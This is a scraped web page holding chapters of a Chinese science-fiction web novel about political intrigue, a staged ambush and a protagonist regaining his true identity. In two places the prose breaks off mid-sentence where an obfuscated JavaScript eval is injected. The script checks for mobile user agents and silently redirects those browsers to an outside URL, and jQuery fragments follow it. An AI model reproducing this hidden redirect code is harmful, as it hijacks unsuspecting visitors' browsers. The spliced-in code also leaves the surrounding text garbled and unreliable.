旧世界的太阳沉落,往昔的辉煌散尽,满目疮痍的大地上尽是灰暗的倒行景色。
这位末代帝王免不了成为禁忌的‘不愈疤痕’,被人们有意识地忽略。
另外一代新人换旧人,帝国解体后,普莱德家族带领前臣平定动荡,从最初的勉强维持到后来的稳固中心,赫然成为星球上可靠的新生政权。
“不过,血红王本人可谓是相当憎恨他的本名呢,依我猜,他是恨不得自戕一万遍,直到能重新投胎给王室毫无瓜葛的家庭里。”
大逆不道的非议出自弗雷泽之口,可信度固然翻了好几倍。
他晃动手里的矮脚酒杯,品着溢出的醇香又道。
“根据他遗嘱交代的,所有他生前记在他名下的私人物品必须销毁,相关的记载资讯哪怕是小道消息,只要出现他的图像名字也得抹除。多亏当时全数据化的时代,他消失得一干二净。”
清扫如此彻底,以至于后来普莱德一派不用怎么助推,他留给后世的就只剩一个‘血红王’的幻影。
“哦对了,还有一群东拼西凑的后裔。”
放下酒,弗雷泽靠向桌沿双手合握。
“比如说我,还有……您。”
男人的笑脸与敬语对标正前方,是坐姿松散,把玩餐刀的苏罗。
脱去了米白色的外套,他露出底下的精巧银链与深黑高领,羊绒服帖身形,无论摆成什么样子都是在大方展示曲线。
若不看二人相似的皮笑肉不笑,这烛光摇曳,鲜花点缀的浪漫单间还真适合这对‘前未婚夫夫’进行一段暧昧涌动的幽会。
因为就算他们发生点什么实质性的超展开,在这也不会有任何人撞见坏事。
落地窗外,白雾融着雪米飘洒,偶尔有气流擦着防风屏障吹出簌簌啸音。
此处是海拔六千三百米的第三峰,要做缆车上来得转站三次。
最后的目的地即山顶,除了他们所在的突兀中转厅,四周空无一物。
壁炉里有火星炸开,焰光弹跳,苏罗此时结束了思考。
“你才保证说会让我高兴,怎么这么快就把我当傻子愚弄了?”
见弗雷泽笑而不语似是装傻,他晃了晃手中餐刀又道。
“我什么时候成了那位名不正言不顺的后代了?我怎么不知道?”
只有听见‘名不正言不顺’时,弗雷泽才眨了下眼,轻轻摇头。
“我还担心您会因为被揭开伤疤而垂泪,如此看来,又是我多虑了,我自罚一杯。”
眼前的‘苏洛’不是正牌,这个密信他在搭乘默文的飞行船时就传到他手上了。
他还知道是一个月前的绑架导致真相暴露,可又在苏霆的封锁消息下对外继续瞒住。
只是他没料到,冒牌少爷大改变的不止心中‘真爱’。
举杯将酒一饮而尽,弗雷泽发出舒畅的叹息。
“我们都不是血红王的直系后代。”他突兀地说道,“事实上,那位根本就不可能有子嗣,他没有腺|体,虽然继位前他就成婚了,但那丈夫就是个摆设,到老到死都是。”
“旁系后裔也只是空名,毕竟跟他最亲也是唯一有血缘关系的表兄终生未婚,算起来,继承权根本轮不到边边角角的远房亲戚。”
仿佛是满意于他加的‘配菜’,苏罗探身主动为他斟酒,和原来一样倒满三分之二。
“您说得好吓人啊,如果事实真是如此,那现在分散在各处的‘同胞’们难不成都是冒充者?”
他发问,颇有模仿对方装腔作势的嫌疑。
银发男人朝他一笑,微微侧过脑袋。
“这您就不知道了吧。收养,认养,街上随便捡一个孤儿,人类给自己延续后代的花样可多了。何况那位当初算是掌控着全世界,他想凭空‘生’出一个属于自己的孩子,只是一句话的事。”
“但他却得不到自己最想要的那个,甚至还把自己搭了进去。”
弗雷泽这会儿笑得眼睛都快挤没了。
酒才喝了三杯,饭菜没吃几口,他揉着颈侧的薄汗,不得不再撕掉一层‘皮’。
“要论吓人,还是您功夫深。我原以为我有足够筹码跟您周旋的,现在看来——您知道的好像不比我少?”
在这件事上,苏罗勉为其难谦虚了一下。
“碰巧而已,足够有趣。”他回道,“但有些事光凭兴趣的一人探险是挖不深,也不长久的。”
所以,他顺势答应了这一次会晤。
在得到‘苏洛’身体的那刻他就知道,弗雷泽·普莱德绝非泛泛之辈。
这位可是注定会推翻现普莱德大元帅,又在苏家尤其是谢云哲等人扶持下成立新政|府的豪杰。
功劳最大,形象最佳,他忍辱负重的前半生简直是一件黄金勋章,又给他的履历打磨光亮。
但对手不是正人君子,能把他们一举歼灭,全部铲草除根的弗雷泽又怎么会是圣人?
这或许就能解释他为什么最后将领土权力划分,复原真正的共治体系,自己却带上心爱的‘谢副手’离去,成为跳虫游民,流浪星际。
没兴趣。
就是这么简单的理由。
以银叉的光面比向男人,苏罗看到了另一道身影。
如果说尼克·哈里斯是沉迷危险带来的刺激的一位冒险者,那么他眼前的弗雷泽就是制造危险的艺术家。
危险不局限于真刀真枪的比拼,还有破坏与失序下的混乱。
就像有的人看不得一份完整的精致蛋糕翻倒,会下意识地去接,而唯独他钟情于蛋糕重重摔碎,宾客愁苦的结局。
那让他笑口常开,乐不可支。
能够伸手虚与委蛇一下,已经是这怪物的最大敬意了。
现在,‘怪物’又有模有样朝他敬酒。
“不算我自罚的,您现在欠我两杯酒。我们总不能一直停在暖场阶段吧,多不尽兴啊……”
话音未尽,男人右手放上桌面,其中三根手指有意无意搭上缄默青年的手背,指腹轻蹭肌肤。
“我还期待着能与您做更多快活的事,快活到能忘记尘世烦恼,庸人作怪。”
充满暗示的举止,引人遐想的话语,任何一个基地方的要员如果在场,相信都会按捺不住重拳出击,把这性||骚扰的疯子锤飞。
哪怕看不到现场,黑着脸的苏霆也快出拳了。
专属办公室难得归还给他,他却不知一个人执拗什么,仍旧坐着客位沙发。
茶几对面,季宇飞心虚地捏着笔转,最后实在顶不住重压开口。
“其实,您完全没有担心的必要啊,毕竟小少爷的实力咱们有目共睹,虽然弗雷泽·普莱德的真实性格恶劣,接近我们的意图不明,他掌握的势力也……总之,您能别再瞪我了可以吗?”
说到最后深感无力,季宇飞丢掉笔往后一靠。
“主人说,今晚要跟弗雷泽阁下在新基地选址单独交涉,归来时间不定——我只不过是把海勒姆的原话传达给你,你迁怒我干吗?”
没否认对方说辞里的迁怒和担心,苏霆目光如炬,沉声道。
“你着手筹备的场地,昨天晚上就对接好了。”
听罢季宇飞哑然,最后无奈地拍拍脑门。
“我那时也不知道他们只要两个人上去,我以为起码海勒姆会在——哎算了!你当我没说,爱怎么骂怎么骂吧。”
眼见苏元帅眼神愈发阴森可怖,季宇飞彻底放弃挣扎瘫在一侧。
再过一会儿,他还要想办法蒙骗隔壁的默文上将,好让对方没发现那三名护卫,或该说眼线的失联。
糊弄首都上将他没压力,可如今心里像有蚂蚁啮咬,把他也蜇得坐立难安。
不知过了多久,季宇飞开口揭开新话题。
“海勒姆加急送回来三号新样本,布雷格已经解析完毕了,果然和一号很像。”
但与那只白鸽不同,死亡士兵的大脑重量并无变化,只是头颅内侧有一圈原因未知的红痕,像穿过皮层烙在骨骼上。
而士兵的生物组织对蓝月能源没有反应。
“会不会,是对象状态的差异导致的。”季宇飞这就推测起来了,“我们刚审问完另外两人,他们都说三号样本饮食起居正常,也没有奇怪的生活习惯。”
想法转了几轮,最终都是‘不确定’,‘不清楚’,‘有可能’的前缀,处处体现着如履薄冰的谨慎。
说白了,是他还不敢往下猜。
如果那位在场的话,肯定又能一语道出惊天灼见了吧……
兜兜转转,思绪还是回到让自己,也是让苏霆惴惴不安的人身上。
可他不像发小不懂遮掩,仍能扬起调侃的笑说道。
“我说长官,您要是这么在意您的宝贝弟弟被一个斯文败类拐骗,你就赶紧上去啊。”
句式完全照搬在那场晚宴用过的,今朝他毫无顾忌地补刀。
“对方可不是只知杀戮的异兽,那是能骗了首都全员二十四年的诈骗大师,居心不良的情报贩子,黑||市常客,一个坐在图书馆就能挑起恐怖袭击的异||端。”
“他现在可中意您弟弟呢,都不惜暴露真面目去约会了,肯定是有想要说的话,或者……有想要进行的交易。”
那般危险的人物,所需的交易筹码绝不局限于金钱。
此时再忆起小少爷曾说的‘设备还没到’,季参谋不禁为自己的聪明大叹一口气。
“也许为了得到弗雷泽在资金和设备技术上的援助,小少爷……我们的王会做出意想不到的妥协。您觉得呢?”
激将法下,苏霆反而越来越平静,最终恢复常态。
“正因如此,我才应该留在这。”
回应的语气虽淡,却已是千锤百炼,即反复扼杀情绪波动、压下所有私心揣测后的誓言。
因为烫眼的红色,仍在心里跃动着。
如火如雷,如烈日的炽热内核,只会让别人惊心动魄,而绝不会动摇己身。
……
“如何,听着够快活吗?”
含笑送出一句反问,在属下看来形同太阳的苏罗依然好端端坐着。
他的晚餐在洽谈间吃完了,倒是他对面,弗雷泽一口未动,双手交握时紧时松,贴切地表演着心乱如麻。
男人最后发出压抑许久的喘息,再看向他的目光成分调整了。
少了浮于表面的轻薄,多了如饥似渴的探求。
“如果您告诉我的是真的……那我不得不承认,你是比我还疯狂的疯子。”
“那是必须的。”苏罗换了边翘脚,又笑成单纯可爱的苏洛少爷,“你未来也活在这片领域,接纳并凌驾于你之上就是我的义务。对其他人同理。”
听到同样的解释,弗雷泽比正经人苏霆的反应生动多了。
“怎么办?”男人紧紧锁眉,像心痛过度而捂着胸膛,“我现在后悔要解除婚约了,我竟然要把你让给我那草包二弟。”
估计想法是出自真心,他重音落在‘草包’一词上,完全是咬牙切齿的嫉妒。
“可是令尊他,更珍视你的草包二弟呢。”
又是看似随意的一句话让弗雷泽转怒为笑,欢喜地盯着面前人,不舍得眨眼。
更珍视即更在乎,而因为在乎,就更可能会为另一个人心慌意乱,做出不合规的事。
出于爱的背叛,有时比发自恨的谋逆可怕多了。
桌上的一瓶佳酿临近见底,弗雷泽高举酒杯示意。
“为您今晚以及未来给我带来的无上欢愉,我再特别赠送您一点有趣的小八卦吧。”
语毕他无缝切换神色,摆出公事公办的嘴脸。
“普莱德能找回并启用那些机密档案,是有缘故在的。就跟他们为什么一定要对血红王末裔赶尽杀绝一样,有人在长期指点,不,应该说是长期为他们提供‘预言’。”
苏罗眉毛一挑,斜靠的身子掰正几分。
这可是从未出现在苏洛记忆里的东西,也不在他目前掌控的信息脉络里。
“无人知晓真名,无人知其面目,汝即是吾。”
“随子夜来临,携明晨离去,永不再会。”
“所言真话是真,假话亦是真,天秤可度。”
歌谣般的唱词,简短且富有诗韵,这独特的传言一如那位‘预言家’自诩的称谓,别具一格。
“旁白师。普莱德极其亲信是这么称呼他们的。”
深夜时分,满身酒味的苏罗坐回苏霆办公室的主位。
他双脚翘上桌,半阖着眼转述弗雷泽透露的秘辛。
“之所以用‘他们’指代,是因为每次见面都不是一样的人传达消息。他们给的预言也并非模棱两可,能套概率的说辞。”
而是精确到某一天的某一刻,详细到某地点某某人。
凭借旁白师的预言,普莱德再现了生物记忆芯片,并且制造出了次等品,小剂量的用在自己的士兵和生物兵器上。
原本就是禁忌品,放在现在更是有违背人伦的道德风险,他们当然不能大肆宣扬。
不过,该挣的利益是舍不得的。
“转卖又倒卖,最后一批劣等货到了咱们的老熟人手上了呢。想必他们动手前也谈妥分割了吧。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176276|150591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
西边山上的索拉兵团,首都城里的中央军队,谁会想到两者之间存在合作关系。
震惊却不意外,季宇飞立马接道。
“可普莱德完全能用其他方式来击溃我们,长久跟那群随时会爆的‘地雷’合作,不像他们保守的行事方针。”
“那当然是因为,还有更大的地雷啊,你这蠢货……”
许是被好酒熏迷了神智,脸微红的青年训斥得软绵绵,往常让人心惊胆战的‘蠢货’一词也变得像床笫之间的调|情。
在扭出更多乱七八糟的坐姿之前,他自己甩甩头,放下双脚。
低头静默数秒,他选择向苏霆伸出两手。
要抱抱的意图昭然若揭,后者没有犹豫。
用季宇飞私下调侃的话形容,苏元帅是彻底成了铁面无情的抱抱机,移动的人形吊床和轮椅二号。
而他表现优异,将小憩的青年送到三号训练场,一路又稳又轻,舒服得像是云飘。
察觉环境的变换,苏罗再睁眼时双目清明,他自己一跳落地,正好迎上脸色凝重的布雷格。
“怎么样,有大胆的想法说给我听了吗?”
有话直问是布雷格的钟爱,他也毫不讳言道。
“一号三号样本都是生物记忆芯片与蓝月能源融合的失败产物,只有二号,它是真的。”
布雷格扬手指向高处,示意那悬吊着的,已经展开成无数分片的巨虫尸体。
“它能融合成功,初步推断是因为只有它具备了承载所有生物基因的能力。”
似乎觉得有点拗口,布雷格努力想了想,补充道。
“它具备大量的基因序列范本,个体细胞则因为蓝月能源独立存在,但是又因为原始的紧密相伴关系,复合成了另一种超个体,会自主吸收更多的范本。”
他不解释还好,这么一解释在场几乎所有人都死机了。
什么范本?
什么超个体?
自主吸收又是啥意思?
“总而言之,它是替‘星球’来复仇的吧。”
简明扼要又形象,附带玩世不恭的调笑。
季宇飞也勉强当了一回预言师,言中苏罗的话对众人的影响。
“星球的……复仇?”
原本的解释方布雷格愕然,双手不断从脸按压到头皮,抓乱整头灰发。
他最后捂着脸坐倒在凳子上,足够说明他对那无凭无据的结论是何态度。
不灭的能源,渗透人类乃至全星球各处。
具有生物记忆芯片的活|体,或该说它的真正原型生物,通过吸收能源不断演化,直至产生涵盖了全部生物基因,乃至连无机物都能融并的超个体。
然后……
等时机一到,星球将无法再约束它们,无论是质量还是能量。
在不知多久的未来,整个宇宙也会成为它们的盘中餐。
这简直是一个跨度极长,坚持极久的宏大计划。
宇宙从爆炸开始,此后逐渐冷却,而它再也不会产生像最初那般无穷无尽,能够诞生‘一切’的汹涌波动。
如今,于一颗小小星球诞生的复合生命,带着怨灵一样恐怖的执念慢慢地吞吃。
虽说他们的蓝月能源名为‘无尽’,可一颗星球上的存量似乎是有限的。
斯卡蒂山脉的能源开采洞早已枯竭,其他地方大概率也将步入后尘。
思绪跳回眼前,季宇飞弯下腰,双手撑住膝盖。
只有这样,他才能勉强让自己冷静下来。
冷静下来,然后呢?
思考怎么度过最后安逸的时光,思考要怎样争取多一点时间?
要是争取,他们又该拿什么跟那群东西拼?
小少爷是一个例外,可他们都不是……
某个矮小身影掠过脑海,季宇飞双肩一震。
恰在此时,训练场的大门打开,是海勒姆领着训练完毕的阿莉西亚缓缓穿过人群。
眼瞎,耳聋,身体素质输给同龄人一大截,被放话如果不用蓝月能源治疗注定早逝。
有着以上致命缺陷的天残儿童,今天却像常人一样笔直顺畅地行走,精准站到苏罗身边。
“抬起头来。”
命令下达却不知是对谁,所以阿莉西亚和后方季宇飞都同时照做了。
当然,更后面惶恐的研究员和卫兵也是。
位于庞然大物的阴影下,女孩后背笔挺不输给基地任何一个士兵,她无法聚焦的淡色双眼却能盯住最上方,编号为1332的巨虫残块。
那是异兽已不再跳动的心脏。
“现在你应该感到自豪。”
苏罗同样仰望着,右手盖在女孩头顶。
“不要小瞧任何一个物种,那么也不能小瞧人类。”
“你是为排斥它们而生的,你是自源头起就在抵抗他们的……真正的战士。”
笃定的话语如同陨石,砸向后方沉寂的低谷,烈焰焮天铄地。
时至今日,季参谋长才终于明白那天青年训斥他的意义。
是啊。
那群生物在蛰伏演化,可人类一样能变。
代代吸收能源,受其侵蚀的孩子,不是每一个都会在母胎中安于接受被迫改变的命运。
当阿莉西亚还是一个细胞时,她就已经表现出了超乎想象的‘拒绝’之意。
人类拒绝这等扭曲的改造。
人类选择以新的变异适应。
适应到能与危及自身生命的存在对抗,持平。乃至超越为止。
他们,不就是从可笑愚钝的古猿这样一步步演化出来的吗?
室内控温器定点启动,顶端设备绽开刺眼金光,在无一人出声训练场里,他们都毫无杂念,屏息凝神注视最前方一道背影。
那人说,必须自豪。
他们便昂首挺胸。
那人说,不许退怯。
他们遂将恐惧和迷惘统统抛诸脑后。
而当那青年收回手,却又在退离前轻抚了一下阿莉西亚的脑门,并淡淡说道——
“真是不像样啊,以后你这样的孩子,还会越来越多……”
身躯未|发|育,心智未完善,天真的孩童本该享受无忧无虑的幼年时光,在关爱和正确的引导下健康成长。
然而现在却要为了他们所有人付出数倍血汗,时刻准备与敌人作战。
如此,静默的众人终于阅见‘王’的怜悯。
非常微弱,无比隐晦,完全比不上历代统治者情感丰富的演说,那些大张旗鼓推行的福利。
可是,这却让他们摈除了所有杂念,甘愿全心全意拥护,直至他们这个世界的‘永恒’也走到尽头。
15. 元首的蓝宝石15
凌晨五点十分,艰难读完一系列报告文件的默文又收到一条击碎他困意的消息。
弗雷泽·普莱德陪同苏洛小少爷游玩,可他们在回程的路上突遇暴风雪。
那两人中弗雷泽只受了皮外伤,小少爷却因惊吓过度突发急症,而随行三名中央士兵一死两伤,如今正在紧急治疗。
局面大失控,默文上将也大发雷霆。
他原本就瞧不起北军这群穷乡僻壤的土兵,又在苏洛小少爷的死缠烂打下磨灭了耐心。
等到了疗养院他还能以礼相待,全是因为他对苏霆的忌惮。
单间病房的走廊外,弗雷泽裹着毛毯脑袋低垂,他脸色煞白,看着下一秒就要昏倒,可又硬撑着直到默文亮相。
他仓促起身,想辩解什么却被默文瞪退。
“苏霆元帅,我敬重您,也信赖您和您的人马,所以才同意把大元帅重要的子嗣交予您保护。可您呢?您是这么答复大元帅的?”
上将开场就咄咄逼人,连续搬出普莱德大元帅的名头镇场。
跟随他的十名士兵挤满走廊,如臃肿的黑褐蚁群堵住出口。
见苏霆一言不发,他上前再加重语气。
“您在这长大又治理该地多年,应该是最了解地形天气的,就算您有疏漏,您的部下会不知道提醒您?劳烦您给个解释,否则我也无法向普莱德大帅交代。”
追问的回音反复激荡空间,病房的门在这时打开了。
护士簇拥着医生,他们的衣服和双手上残留着血渍,端出的方盘全是一团团吸饱鲜血的纱布,看得人触目惊心。
从全员凝重的神情判断,病房里的患者状况并不乐观。
默文瞬间哑火了。
受伤的中央士兵在下层,这里治疗的是谁不言而喻。
像是为印证他的不妙猜测,额前挂汗的医生长叹息,随后一口气汇报道。
“苏元帅,您弟弟他受到很严重的外力冲击,今天的受创位置跟上回的靠近,所以导致严重的内出血,现在我们暂时稳住了情况,但他的右腿神经可能……您知道的,小少爷的体质不适合用蓝月辅助液。”
倾听期间就没敢插话,确定医生不再往下说后,苏霆才深深呼气。
“拜托你们了,有什么需要尽管向我开口。真的拜托了。”
平时惜字如金的他重复两遍,可见恳求之情有多深重。
仿佛他无法再忍受失去同一个人两次。
等送走全部的医护人员,他才把攻击性极强的目光转向默文。
“是敌袭。”他压制着声音里的情绪说道,“西边那群人不知道从谁那截获的消息,得知有你们的‘重要人物’莅临本军营地。而你们的士兵走在街上,特别威风。”
抵达第一天默文就强硬要求,他们首都士兵必须随身携带武器,装备在手上。哪怕在北军基地也是如此。
这简直是大白天穿着黑衣过雪地,不要太扎眼。
‘帽子’在空中大飘移,突然回旋扣上自己的脑门,默文磨了磨后槽牙,干巴巴地应道。
“既然如此,您当初怎么还同意那位小少爷的任性要求。他可是才经历过一次的人。”
眼看罪责又要掷到苏洛头顶,弗雷泽起身发话了。
“全是在下的错。”他红着眼,一脸泫然欲泣,“是我对这边的风景着了迷,小少爷提起新建的缆车,我顺势就答应陪他上去了,谁知道——”
停顿时哽咽两声,他转向苏霆深深鞠躬。
“是苏洛少爷千钧一发之际挡在我身前,是他保护了我才又这样受苦受累,我、我简直罪该万死!
这下我不仅耽误了他的幸福,还会让他后半生只能瘸着腿、您想要我怎么赔我都没有怨言!”
相比平时的文雅,他的情绪爆发更令人深刻,连默文也插不上话了。
何况他这心直口快的书呆子,竟敢当着苏霆的面说出‘后半生只能瘸腿’这种刺激人的蠢话。
场面消音近半分钟,苏霆翕动的唇齿间飘出一句轻语。
“事到如今,也没必要了……”
平静无波的声音,却让听者心头发紧,这时也轮到季参谋接力,开始和左右为难的默文交涉。
弗雷泽和小少爷没有明文的婚约算是作废了,可如今遇上这档子事,原本欢喜的新联姻只得延期。
鉴于如今危险的形势,成为匪徒目标的弗雷泽一行人还是尽快离去的好。
可以的话天亮就走。
“那位不幸牺牲的勇敢中士,我们会尽全力搜查他的遗体,也会给他家额外的赔偿。”
季宇飞说着就把提前拟好的书面报告递上前。
“至于大元帅那边的交代,您大可放心,苏霆元帅该动手时决不手软。那些欠我们又不知好歹贪图我们的人,我们迟早有一天会告诉他们,什么叫万劫不复。”
年轻的参谋长要比苏霆温和,轮廓精致的嘴角却泛着森寒笑意。
当他保证完,默文产生了一种诡异的错觉。
那个‘万劫不复’里包含的,似乎还有他们。
神经劳累,身体疲惫,默文上将终究没能再说什么,就按照现有认知汇报回去,他浑然不知这座舞台上,其实只有他一人在兢兢业业的扮演。
扮演一个被全员耍得团团转的丑角。
突发状况催生疏漏,他离开去见伤兵时甚至忘了弗雷泽。
既没带上,也没安排眼线监督。
当季宇飞领着人群走远,闸门闭合,弗雷泽·普莱德撤掉毛毯,第一时间向苏霆笑脸相迎。
“你的话太多了。”
后者立马不悦谴责。
很显然,刚才那段对峙里出现了‘台本’里没有的发言。
弗雷泽不以为意,和善地眨眨眼道。
“是在下的一点点即兴发挥罢了,您不觉得我超常发挥了吗?大哥。”
毫不夸张的说,当听到那声做作讨好的‘大哥’时,苏霆脑袋里安插的隐雷直接爆了。
大哥?
这家伙哪来的胆子敢叫他大哥?
多亏前一个张口闭口喊他大哥的人锻炼,他马上会意并给出最直白的答复。
“滚。”
被人恶语相向,弗雷泽不紧不慢抬手,五指穿过银发马尾梳理。
“别急着赶跑您未来的亲家啊。就像您那位参谋长认为的,不是我就是我二弟,您总得面对一个自己恨之入骨的家庭新成员,您弟弟的伴侣。”
论恶意挑衅,弗雷泽可谓与苏罗旗鼓相当,差别是他完全不会点到为止,而是逮着机会集中火力。
所以当对方冷声回他‘不过是做戏’时,他又笑弯了双眼。
“那可不好说啊,在下早已不是‘戏中人’,乃是堂堂正正与令弟建立密切的合作关系,是长期的,秘密的,一对一的。”
说到这他起身活动手腕,有意无意亮出缠在上面的银链。
不是什么特别的款式,也没昂贵的珠宝点缀,可就是让苏霆一眼认出来历,怒意涨满胸膛。
“啊,您也觉得这手链很别致吧。”弗雷泽像才注意到他的脸色,举起右手抚弄着链条,“是昨晚的预定金哦,既然是小少爷亲手为我戴上的,我就不客气地收下了。”
那修长五指缠绕又撩拨,制造出细腻且清脆的叮当声。
在沉默的另一人看来,他拨弄的似乎不是银链,而是谁的身躯。
离脑内爆炸波显化还差几秒,病房门又被打开了。
“他说得对,你话是太多。”
再次换上久违的病号服,苏罗双脚正常,人也完好无损地走出来。
苏霆微微低头行礼,弗雷泽向他欠身示意。
后者又是抢先执起他的右手,但这次正经地隔开距离,没有吻上手背。
“可我说的话,您难道不喜欢听么?”弗雷泽缓缓撤开,面露忧郁。
苏罗摩挲下巴,回了一个跟男人之前差不多的坏笑。
“得看你的表现。就刚才来说,你的话我很中意。希望你最好保持下去,我会考虑给你安排贵宾席。”
弗雷泽眼睛亮了几分,跟着凑近追问,“您的这个贵宾席,是指离您最近,能尝到您所有滋味的地方吗?”
声音,气息,若有若无想要触碰的指尖,这个银发男人表现出的,仿佛能纠结缠绕一切的作态,无一不在激怒后方静立的某元帅。
尽管他表情未变,站姿依旧,可身体的变化不会骗人。
此刻他的肾上腺素应该正摇旗呐喊,奔腾着涌向全身,又砸门敲窗叫醒其他激素兄弟了吧。
虽然这很适合捧哏一句‘果然是闷骚男大哥’,但家务事只适合在家处理。
所以苏罗摆出爽朗的假笑,一手按住弗雷泽肩膀。
“那就是额外的价钱了,凭你是给不起的。”
他附到对方耳边低语,用轻笑和送出的鼻息回敬,意料中察觉对方身子一颤,呼吸急促。
这变相的激将法效果拔群,三天后全基地的人都见证了。
六架无人驾驶,从未见过的V型航船,沿着提前清空的飞行路径来到基地的降落平台。
它们不仅带来崭新的复原型实验设备,还有特地以零部件形式分装的军用武器。
这简直是明晃晃地在说——随便拿去仿造研究吧,无风险无限制,童叟无欺的亏本买卖。
但是看着新仪器,苏罗还是选出几个最基础的保留,接着下令一律拆除。
同行来的研究员纷纷傻眼,围在还没拆封的设备前表演者各自的目瞪口呆。
这这这、这珍贵仪器他们都还没捂热呢!
岂料环视一圈,苏罗又指着六架关闭的漆黑飞船。
“把这些也马上拆了,所有部件都是。拆完描完图纸后全部融掉。”
虽然心痛刚到手的装备,季宇飞一咬牙,立马指挥起人手转移。
也是在运输的途中,他理好头绪去宽慰愁眉不展的同僚。
“小少爷这么做自然有他的道理。”
“随意挥霍的道理吗?”乔中尉轻抚着行车表面,像个舍不得子女离家的老父亲,“这种设计能最大限度的防御风暴和低温伤害,比我们笨重的雪行车便利不知多少倍。”
有了它,那些崎岖难行的山路就不再是阻碍,高耸的冰峰也不足为惧。
“您说的是,它能用在搜救侦查作战等各个至关重要的方面。”季宇飞点头附和,接着话锋一转,“正因如此,我们才需要有自己的,是完完全全属于我们的。”
沉浸在感伤里乔中尉微顿,眉头先是舒展,后又卡在微弱的起皱程度。
“可是,我们能造得出来吗?”
同一时间的第三训练场,布雷格隔空回答道。
“不行,没空,我不会。”
他还是那么的胆大包天,竟然拒绝苏罗半年内研制出新飞船的要求。
为证明自己理由的可信度,他指了一圈四周。
“针对试验品的研究不能停,反式样本的调查还要推进,另外你还塞给我其他仪器的拆解重装,现在人手场地虽然够,但时间上不充裕,主次也分不清……”
并非累或对待遇不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176277|150591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
平等的抗议,这位学术痴只是单纯地认为项目累赘,反而会误事。
一一听完所有解释,苏罗再现蜜糖砒霜式的笑容。
他揽住布雷格,带着人侧向同边说悄悄话。
“我没让你连研究都拆开啊。”他叩击着一台高|射|炮,眼睛却往上瞟,“贵人多忘事,你大概是漏了‘制造武器’最根本也最原始的一点……”
最根本。
最原始。
两个关键词子弹般穿过脑壳,布雷格用十秒钟结束自己的‘超脱思考’。
再转向身边笑吟吟的青年,他只会盯着对方猛瞧。
他脸孔似岩板,哪怕出现明显的裂痕也会被外界解读成一种无情绪或负情绪。
只有他自己清楚,他心里正铺张着什么样的盛会。
人是数字,名字是符号,所有生命都是镶在时间长线上的一截数据。
记事起就持有这样薄情的观点,他记人从不靠相貌声音,或任何深刻的行为与关系。
唯有这个轻易粉碎掉他无用报告,一次又一次出给他‘难题’又为他开门解惑的奇异人类,他无法带入计算。
非数字,非符号,更不是可有可无,等待运算结束的数据。
是存在却又不被定义的无限集合。
宛如进行了一场酣畅淋漓的计算,布雷格连连吞咽着唾液,最后刻意调高音量。
“你想让我,参考二号实验体的所有生物形态,拟造新式武器。”
他的声音经场地放大,自然而然传给又惊掉下巴的其余人。
唯独苏罗摆动食指,闭上一只眼应道。
“不不不,严格来说,这一点也不新潮。人类可是几千万年前就在模仿对手,也就是其他生物了。不是么?”
刀剑是猛禽的利爪与尖牙,航船潜艇分别取自飞鸟游鱼,就连沿用至今的各种探测雷达,都还是具备回声定位能力的生物玩剩下的。
“不过这么一比,人类的大脑才是更可怕的武器啊,你觉得呢?”
笑意狡黠的青年摆弄右手,又让身边的学痴只会干看着他的动作,却产生不了符合逻辑的思考。
大抵是因为,欲|望从来不听命于理智吧。
“你叫什么。”
非常突兀,布雷格问了这句话,也毫无悬念的让同僚为他提心吊胆。
都已经认识而且几乎天天见面一个多月了,怎么还会有人不知道这是苏霆元帅的弟弟啊!
也许是听见他们呐喊的心声,布雷格又开口道。
“我知道你现在还是苏元帅的弟弟,但我不知道你的名字。”
后方的无声呐喊再次翻倍。
得了,堂堂斯卡蒂的顶尖实验怎么会出现这么一个奇葩。
不过现在想来,他们一群扎堆实验室的人都会戴着名牌,所以布雷格都是看牌如看人,也就没有记名字的必要。
轻易看穿这点,苏罗低下头,彻底关不住心里的笑了。
“噗、噗哈哈哈哈!”
异常欢快,如同一片水晶垂帘迎风碰撞的笑声。
像是剧院里最捧场也最富有的观众才能发出的笑声,因为只有他能肆无忌惮赏评,也能令台上演员主动取悦于他。
这笑传向开合的大门,令进来的苏霆也轻快了脚步。
他特地等那笑出泪的青年停下,喘够气才上前递出手。
“你要的东西,办好了。”
红信封包着的芯卡,是每个人独一无二的身份证明。
因为是秘密办理,所以按正常流程审批,一直到今天才正式完工。
“从今以后,这就是你的……真实身份。”
停顿虽短,但足以窥见苏元帅的一丝微妙的纠结情绪,不过他包括此后逐渐死寂的人群都来不及深究这点了。
“苏,罗。”
离得最近的布雷格念出卡上的名字,若有所思抬眼。
“原来这就是你的名……”
到此为止,唯一还能发出声音的他也陷入迟滞的怪圈。
怪圈中心是手执卡片的青年。
他比以往任何时候都要安静,仿佛是把傲气与无坚不摧定力的忘在了某处。
就只是小心用手指点触卡上的文字,轻柔得像在触摸一场美梦。
‘梦’即是按他意愿新生的身份,关联上他独一无二的真名。
还有他此刻那一触即碎,哀哀柔柔的神采。
犹如心底诸多情感翻涌,透过一个小孔缓缓渗透。
那些悲戚的浮沫,那些欢欣的光影,最终全数哽在喉头,浓缩成一声喟叹。
“终于……我又是我了。”
苏罗总算握紧身份卡,阖眼将其按在心口,像要将它融入自己的血肉。
原来悲喜同达极端后的嗓音,竟有如此超乎想象的威力。
不似暴哭大喊会变得聒噪,也没有威胁呵斥的压迫感,那点微不可听的颤音会让任何人都心甘情愿伸手,去擦拭他不存在的眼泪,去猜想他抛在过去的苦楚。
